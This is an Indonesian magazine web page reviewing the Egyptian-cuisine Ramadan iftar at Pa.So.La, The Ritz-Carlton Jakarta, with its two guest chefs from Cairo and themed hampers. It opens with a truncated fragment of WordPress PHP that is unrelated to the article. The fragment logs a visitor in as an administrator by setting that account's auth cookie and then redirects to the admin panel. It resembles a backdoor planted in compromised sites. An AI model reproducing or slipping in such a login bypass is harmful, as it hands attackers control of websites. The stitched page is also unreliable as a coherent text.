user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Food Review
Narasi Kuliner Mesir di The Ritz-Carlton Jakarta, Pacific Place Selama Ramadan

1 Mar 2026

Jejak rasa Mesir selama Ramadan di Pa.So.La, The Ritz-Carlton Jakarta, Pacific Place. Foto: Dok. The Ritz-Carlton Jakarta, Pacific Place


Mesir yang kaya dengan sejarah dan kebudayaan sejak ribuan tahun lalu juga memiliki kuliner yang lezat. Kuliner Mesir sangat dipengaruhi oleh warisan budaya Arab (Timur Tengah), serta sentuhan Mediterania (Turki, Yunani, dan Persia).

Cita rasa kuliner Mesir yang ada di resto-resto di ibukotanya, Kairo, bisa kita coba selama Ramadan ini di PA.SO.LA Restaurant di The Ritz-Carlton Jakarta, Pacific Place. Pa.So.La juga bertransformasi jadi bagian dari Kairo yang penuh kehangata, dengan aroma rempah menguar lembut.

Kuliner Mesir yang kaya rempah dan menggabungkan berbagai warisan budaya. Foto: Dok. TRCJPP

Istimewanya lagi, berbagai hidangan yang tersedia diracik khusus oleh dua chef tamu dari The Nile Ritz-Carlton, Cairo, yaitu Chef Walid Anwar Diab dan Chef Mohsen Mohamed Ramadan Ahmed Hasan.

Chef Walid Anwar Diab, Senior Chef de Cuisine The Nile Ritz-Carlton, Cairo, telah lebih dari tiga dekade mendedikasikan diri pada seni kuliner dan memperkenalkan gastronomi Mesir ke panggung internasional dengan perpaduan teknik klasik dan keaslian budaya. 

Chef Walid Anwar Diab dan Chef Mohsen Mohamed Ramadan Ahmed Hassan. Foto: TRCJPP

Bersamanya di Jakarta adalah Chef Mohsen Mohamed Ramadan Ahmed Hassan, yang berpengalaman lebih dari 18 tahun dalam jaringan Marriott, dan dikenal karena kemahirannya meracik tradisi Mesir, Lebanon, dan Suriah dalam presentasi elegan dan kontemporer.
Advertisement

Kreasi mereka dihidangkan dengan penataan menggoda, sekaligus menegaskan narasi kuliner Mesir yang autentik.

Pilihan menu iftar dari takjil hingga minuman terinspirasi kekayaan kuliner Mesir. Foto: TRCJPP

Selain berbuka puasa dengan kuliner Mesir, Ramadan di The Ritz-Carlton Jakarta, Pacific Place juga bisa dinikmati dengan berbagi hamper. Hotel ini mempersembahkan lima pilihan hamper bertema Tales of Celestial Night yang dikemas dalam berbagai bentuk cantik, dari bulan sabit hingga masjid.
 
Beberapa bentuk kemasan hamper eksklusif bertema Tales of Celestial Night. Foto: Dok. TRCJPP

Isinya pun bervariasi; dari artisanal cookies, diffuser, hingga sajadah dan mukena. (f)

Baca juga:
Di Mövenpick Hotel Jakarta City Centre, Bukber Makin Seru dengan Beragam Menu
Cita Rasa Khas Oman Jadi Menu Iftar di Sheraton Grand Jakarta Gandaria City Hotel
Menikmati Perjalanan Rasa Lintas Budaya Saat Iftar di Le Meridien Jakarta

 

Zornia Harisantoso


Topic

#ramadan, #kuliner

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?